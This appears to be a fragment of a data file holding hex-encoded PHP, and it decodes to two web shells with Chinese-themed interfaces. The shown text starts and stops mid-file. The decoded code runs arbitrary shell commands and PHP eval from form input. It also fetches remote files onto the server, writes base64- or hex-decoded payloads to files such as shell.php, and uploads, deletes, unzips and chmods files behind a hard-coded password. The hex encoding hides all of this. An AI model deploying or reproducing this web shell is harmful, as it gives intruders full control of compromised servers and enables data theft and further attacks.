202020207d0d0a202020202020202020202020627265616b3b0d0a202020202020202063617365202775726c75706c6f6164273a202f2f2055524c20e4b88ae4bca00d0a2020202020202020202020202475726c203d20245f504f53545b2775726c275d3b0d0a2020202020202020202020202464617461203d204066696c655f6765745f636f6e74656e7473282475726c293b0d0a20202020202020202020202069662028246461746129207b0d0a2020202020202020202020202020202066696c655f7075745f636f6e74656e74732824637572202e20626173656e616d65282475726c292c202464617461293b0d0a20202020202020202020202020202020246d7367203d2022f09f8c9020e58aabe5be97e789a9e8b584223b0d0a2020202020202020202020207d20656c7365207b20246d7367203d2022e58aabe68ea0e5a4b1e8b4a5223b207d0d0a202020202020202020202020627265616b3b0d0a20202020202020206361736520277a6970273a202f2f20e8a7a3e58e8b0d0a20202020202020202020202069662028636c6173735f65786973747328275a697041726368697665272929207b0d0a20202020202020202020202020202020247a203d206e6577205a6970417263686976653b0d0a2020202020202020202020202020202069662028247a2d3e6f70656e28245f504f53545b277a697066696c65275d29203d3d3d205452554529207b0d0a2020202020202020202020202020202020202020247a2d3e65787472616374546f2824637572293b20247a2d3e636c6f736528293b20246d7367203d2022f09f979cefb88f20e5bc80e7aeb1e58f96e8b4a7223b0d0a202020202020202020202020202020207d20656c7365207b20246d7367203d2022e5bc80e7aeb1e5a4b1e8b4a5223b207d0d0a2020202020202020202020207d0d0a202020202020202020202020627265616b3b0d0a20202020202020206361736520276576616c7772697465273a202f2f204576616c20e4b88ae4bca00d0a2020202020202020202020206576616c28245f504f53545b27636f6465275d293b0d0a202020202020202020202020246d7367203d2022f09fa7aa20e782bce588b6e5ae8ce68890223b0d0a202020202020202020202020627265616b3b0d0a2020202020202020636173652027627970617373273a202f2f20e5a49ae78988e69cac2042797061737320e6a8a1e68b9f0d0a20202020202020202020202024636f6e74656e74203d20245f504f53545b27636f6e74656e74275d3b0d0a2020202020202020202020202466696c656e616d65203d20245f504f53545b2766696c656e616d65275d3b0d0a2020202020202020202020202f2f2076313a20e79bb4e68ea5e586992076323a20e58aa0e697b6e997b4e688b32076333a204261736536342076343a204865780d0a2020202020202020202020202476203d20245f504f53545b2776275d3b0d0a202020202020202020202020696620282476203d3d203229202466696c656e616d65202e3d2074696d6528293b0d0a202020202020202020202020696620282476203d3d2033292024636f6e74656e74203d206261736536345f6465636f64652824636f6e74656e74293b0d0a202020202020202020202020696620282476203d3d2034292024636f6e74656e74203d206865783262696e2824636f6e74656e74293b0d0a2020202020202020202020204066696c655f7075745f636f6e74656e74732824637572202e202466696c656e616d652c2024636f6e74656e74293b0d0a202020202020202020202020246d7367203d2022f09f9ba1efb88f2042797061737320287b24767d2920e5ae8ce68890223b0d0a202020202020202020202020627265616b3b0d0a202020207d0d0a7d0d0a0d0a2f2f20422e20e588a0e999a4e6938de4bd9c0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a202020202474203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247429292040756e6c696e6b282474293b20656c73652040726d646972282474293b0d0a20202020246d7367203d2022f09f9791efb88f20e5b7b2e99480e6af81223b0d0a7d0d0a0d0a2f2f20432e20e591bde4bba4e689a7e8a18c0d0a24636d645f6f7574707574203d2027273b0d0a69662028697373657428245f504f53545b27636d64275d2929207b0d0a2020202024636d645f6f7574707574203d207368656c6c5f65786563282263642022202e206573636170657368656c6c617267282463757229202e20222026262022202e20245f504f53545b27636d64275d202e202220323e263122293b0d0a7d0d0a0d0a2f2f20442e204576616c20e689a7e8a18c0d0a246576616c5f6f7574707574203d2027273b0d0a69662028697373657428245f504f53545b277068705f636f6465275d2929207b0d0a202020206f625f737461727428293b0d0a20202020747279207b206576616c28245f504f53545b277068705f636f6465275d293b207d20636174636820285468726f7761626c6520246529207b206563686f2024652d3e6765744d65737361676528293b207d0d0a20202020246576616c5f6f7574707574203d206f625f6765745f636c65616e28293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e8afbbe58f96e69687e4bbb6e58897e8a1a8202d2d2d2d202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a2020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a69222c2066696c656d74696d652824667029290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a0d0a2f2a202d2d2d2d20352e20e7a1ace79b98e4bfa1e681af202d2d2d2d202a2f0d0a24746f74616c203d20406469736b5f746f74616c5f7370616365282463757229203f20726f756e64286469736b5f746f74616c5f73706163652824637572292f313032342f313032342f313032342c3229203a20303b0d0a2466726565203d20406469736b5f667265655f7370616365282463757229203f20726f756e64286469736b5f667265655f73706163652824637572292f313032342f313032342f313032342c3229203a20303b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee8819ae4b989e58e853c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a20224b61695469222c202253544b61697469222c2073657269663b206261636b67726f756e643a20233161303030303b20636f6c6f723a20236339613935393b206d617267696e3a20313070783b20666f6e742d73697a653a20313370783b207d0d0a20202020202020202e686561646572207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233261306130612c2023316130303030293b20626f726465723a2031707820736f6c696420233862303030303b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b207d0d0a20202020202020202e6e6176207b206261636b67726f756e643a20233261306130613b2070616464696e673a203870783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6e61762061207b20636f6c6f723a20236339613935393b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e617620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666343530303b207d0d0a20202020202020202e73656374696f6e207b206261636b67726f756e643a20233261306130613b20626f726465723a2031707820736f6c696420233434343b2070616464696e673a20313570783b206d617267696e2d746f703a20313570783b207d0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233434343b207d0d0a20202020202020207468207b206261636b67726f756e643a20233361316131613b20636f6c6f723a20236666343530303b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233361316131613b207d0d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233161303030303b20636f6c6f723a20236339613935393b20626f726465723a2031707820736f6c696420233862303030303b2070616464696e673a203570783b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d2c20627574746f6e207b206261636b67726f756e643a20233862303030303b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20233463616635303b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b2070616464696e673a20313070783b20626f726465723a2031707820736f6c696420233434343b20636f6c6f723a20233030666630303b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22686561646572223e0d0a202020203c7374726f6e673ef09f8fb420e8819ae4b989e58e85efbc9a3c2f7374726f6e673e203c3f706870206563686f20246375723b203f3e207c0d0a202020203c7374726f6e673ef09f92bd20e992b1e7b2aeefbc9a3c2f7374726f6e673e203c3f706870206563686f2024667265653b203f3e4742202f203c3f706870206563686f2024746f74616c3b203f3e47420d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20e8bf94e59b9ee5b1b1e5afa8205d3c2f613e0d0a202020203c6120687265663d222375706c6f6164223e5b20e690ace7b2ae205d3c2f613e0d0a202020203c6120687265663d22237465726d696e616c223e5b20e782b9e5b086e58fb0205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e6b395e59cba205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b20e4b88be5b1b1205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662028246d7367293a203f3e3c7020636c6173733d226d7367223e5b20e9809ae68aa5205d3a203c3f706870206563686f20246d73673b203f3e3c2f703e3c3f70687020656e6469663b203f3e0d0a0d0a3c7461626c653e0d0a202020203c74686561643e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74683ee5908de7a7b03c2f74683e0d0a2020202020202020202020203c74683ee5a4a7e5b08f3c2f74683e0d0a2020202020202020202020203c74683ee4bfaee694b9e697b6e997b43c2f74683e0d0a2020202020202020202020203c74683ee69d83e999903c2f74683e0d0a2020202020202020202020203c74683ee6938de4bd9c3c2f74683e0d0a20202020202020203c2f74723e0d0a202020203c2f74686561643e0d0a202020203c74626f64793e0d0a20202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236666386330303b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020203c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee7bc96e8be913c2f613e207c0d0a20202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee4b88be8bdbd3c2f613e207c0d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69bb4e5908d3c2f613e207c0d0a202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69d83e999903c2f613e207c0d0a202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae99480e6af81efbc9f2729223ee588a0e999a43c2f613e0d0a2020202020202020202020203c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020203c3f70687020656e64666f72656163683b203f3e0d0a202020203c2f74626f64793e0d0a3c2f7461626c653e0d0a0d0a3c212d2d20e4b88ae4bca0e58cbae59f9f202d2d3e0d0a3c64697620636c6173733d2273656374696f6e222069643d2275706c6f6164223e0d0a202020203c68333ef09f93a620e690ace7b2aee585a5e5ba93202855706c6f6164293c2f68333e0d0a202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020203c696e70757420747970653d2266696c6522206e616d653d2266696c65223e203c696e70757420747970653d227375626d6974222076616c75653d22e585a5e5ba93223e0d0a202020203c2f666f726d3e0d0a202020203c68723e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275726c75706c6f6164223e0d0a202020202020202055524c20e58aabe68ea0efbc9a3c696e70757420747970653d227465787422206e616d653d2275726c22207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d2268747470733a2f2f6578616d706c652e636f6d2f7368656c6c2e747874223e203c696e70757420747970653d227375626d6974222076616c75653d22e58aabe58f96223e0d0a202020203c2f666f726d3e0d0a202020203c68723e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d227a6970223e0d0a20202020202020205a495020e8a7a3e58e8befbc9a3c696e70757420747970653d227465787422206e616d653d227a697066696c6522207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d222f706174682f746f2f66696c652e7a6970223e203c696e70757420747970653d227375626d6974222076616c75653d22e5bc80e7aeb1223e0d0a202020203c2f666f726d3e0d0a202020203c68723e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d22627970617373223e0d0a2020202020202020e5a49ae78988e69cac20427970617373202876312d763429efbc9a0d0a20202020202020203c73656c656374206e616d653d2276223e0d0a2020202020202020202020203c6f7074696f6e2076616c75653d2231223e7631204469726563743c2f6f7074696f6e3e0d0a2020202020202020202020203c6f7074696f6e2076616c75653d2232223e76322054696d653c2f6f7074696f6e3e0d0a2020202020202020202020203c6f7074696f6e2076616c75653d2233223e7633204261736536343c2f6f7074696f6e3e0d0a2020202020202020202020203c6f7074696f6e2076616c75653d2234223e7634204865783c2f6f7074696f6e3e0d0a20202020202020203c2f73656c6563743e0d0a20202020202020203c696e70757420747970653d227465787422206e616d653d2266696c656e616d652220706c616365686f6c6465723d227368656c6c2e706870223e0d0a20202020202020203c7465787461726561206e616d653d22636f6e74656e742220706c616365686f6c6465723d22436f646520686572652e2e2e223e3c2f74657874617265613e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e782bce588b6223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c212d2d20e7bb88e7abaf202d2d3e0d0a3c64697620636c6173733d2273656374696f6e222069643d227465726d696e616c223e0d0a202020203c68333ef09f92bb20e782b9e5b086e58fb020285465726d696e616c293c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d2277686f616d69202f206c73202d6c61223e203c696e70757420747970653d227375626d6974222076616c75653d22e689a7e8a18c223e0d0a202020203c2f666f726d3e0d0a202020203c3f706870206966202824636d645f6f7574707574293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824636d645f6f7574707574293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c212d2d204576616c202d2d3e0d0a3c64697620636c6173733d2273656374696f6e222069643d226576616c223e0d0a202020203c68333ef09fa7aa20e6b395e59cba20284576616c293c2f68333e0d0a202020203c666f726d206d6574686f643d22706f7374223e0d0a20202020202020203c7465787461726561206e616d653d227068705f636f646522207374796c653d2277696474683a313030253b6865696768743a31303070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b277068705f636f6465275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e8a18ce58891223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068702069662028246576616c5f6f7574707574293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328246576616c5f6f7574707574293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a202020202466203d20245f4745545b27646f776e6c6f6164275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b0d0a20202020202020207265616466696c65282466293b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a2f2f20e69fa5e79c8b2fe7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ef09f939d20e689b9e99885efbc9a272e626173656e616d65282466292e273c2f68333e273b0d0a202020206563686f20273c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2265646974223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d2266696c6570617468222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e4bf9de5ad98223e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f6c64203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ee29c92efb88f20e69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2272656e616d65223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d226f6c64222076616c75653d22272e246f6c642e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d226e6577222076616c75653d22272e626173656e616d6528246f6c64292e27223e20273b0d0a202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e7a1aee8aea4223e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2273656374696f6e223e3c68333ef09f949020e69d83e99990e8aebee7bdae3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2263686d6f64223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d226d6f6465223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373737223e303737373c2f6f7074696f6e3e3c2f73656c6563743e20273b0d0a202020206563686f20273c696e70757420747970653d227375626d6974222076616c75653d22e8aebee7bdae223e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f8cb820e7baa2e6a5bce6a2a620c2b720e5a4a7e8a782e59bade5af86e6a1a30d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e9809ae781b5e5ae9de78e89e9aa8ce8af81202d2d2d2d202a2f0d0a646566696e6528274a414445272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b276a616465275d2929207b0d0a2020202069662028245f504f53545b276a616465275d203d3d3d204a4144452920245f53455353494f4e5b2761757468275d203d20313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b20657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2761757468275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee9809ae781b5e5ae9de78e893c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a236666663066353b636f6c6f723a233862343531333b666f6e742d66616d696c793a2253544b61697469222c224b61695469222c73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020202e626f787b626f726465723a32707820736f6c696420236462373039333b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a72676261283235352c3234302c3234352c2e3935293b626f726465722d7261646975733a313070783b7d0d0a2020202068317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b636f6c6f723a236337313538353b7d0d0a20202020696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a233862343531333b626f726465723a31707820736f6c696420236462373039333b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236462373039333b636f6c6f723a236666663b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b626f726465722d7261646975733a3570783b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d22626f78223e3c68313ef09f8cb820e9809ae781b5e5ae9de78e893c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d226a6164652220747970653d2270617373776f72642220706c616365686f6c6465723d22e8be93e585a5e9809ae781b5e5ae9de78e8922206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223ee8bf9b20e59bad3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e4b88ee59fbae7a180202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a246d7367203d2027273b0d0a0d0a2f2a202d2d2d2d20332e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a2f2f20e4b88ae4bca00d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d29293b0d0a7d0d0a2f2f20e696b0e5bbba0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272920406d6b6469722824637572202e20245f504f53545b276e616d65275d293b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c652729204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c202727293b0d0a2f2f20e588a0e999a40d0a69662028697373657428245f4745545b2764656c275d2929207b202474203d20245f4745545b2764656c275d3b2069735f66696c6528247429203f2040756e6c696e6b28247429203a2040726d646972282474293b207d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202772656e616d652729204072656e616d6528245f504f53545b276f6c64275d2c20245f504f53545b276e6577275d293b0d0a2f2f20e69d83e999900d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202763686d6f642729204063686d6f6428245f504f53545b2766696c65275d2c206f637464656328245f504f53545b276d6f6465275d29293b0d0a2f2f20e7bc96e8be91e4bf9de5ad980d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027736176652729204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c65275d2c20245f504f53545b27636f6e74656e74275d293b0d0a2f2f2055524c20e4b88be8bdbd0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775726c646c2729207b0d0a202020202464617461203d204066696c655f6765745f636f6e74656e747328245f504f53545b2775726c275d293b0d0a2020202069662028246461746129204066696c655f7075745f636f6e74656e74732824637572202e20626173656e616d6528245f504f53545b2775726c275d292c202464617461293b0d0a7d0d0a2f2f205a495020e8a7a3e58e8b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027756e7a69702720262620636c6173735f65786973747328275a697041726368697665272929207b0d0a20202020247a203d206e6577205a6970417263686976653b2069662028247a2d3e6f70656e28245f504f53545b277a6970275d29203d3d3d205452554529207b20247a2d3e65787472616374546f2824637572293b20247a2d3e636c6f736528293b207d0d0a7d0d0a2f2f204576616c20e7bdaee9a1b6e6a0b8e5bf830d0a246576616c5f726573203d2027273b0d0a69662028697373657428245f504f53545b27656c69786972275d2929207b0d0a202020206f625f737461727428293b0d0a20202020747279207b206576616c28245f504f53545b27656c69786972275d293b207d20636174636820285468726f7761626c6520246529207b206563686f20224572726f723a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020246576616c5f726573203d206f625f6765745f636c65616e28293b0d0a7d0d0a2f2f20e591bde4bba4e689a7e8a18c0d0a24636d645f726573203d2027273b0d0a69662028697373657428245f504f53545b27636d64275d2929207b0d0a2020202024636d645f726573203d207368656c6c5f65786563282263642022202e206573636170657368656c6c617267282463757229202e20222026262022202e20245f504f53545b27636d64275d202e202220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e69687e4bbb6e58897e8a1a8202d2d2d2d202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a20202020202020202020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a2020202020202020202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34295d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee5a4a7e8a782e59bade5af86e6a1a33c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a202253544b61697469222c20224b61695469222c2073657269663b206261636b67726f756e643a20236666663066353b20636f6c6f723a20233862343531333b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e746f702d6e6176207b206261636b67726f756e643a20236666666166613b20626f726465723a2031707820736f6c696420236462373039333b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e746f702d6e61762061207b20636f6c6f723a20236337313538353b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e746f702d6e61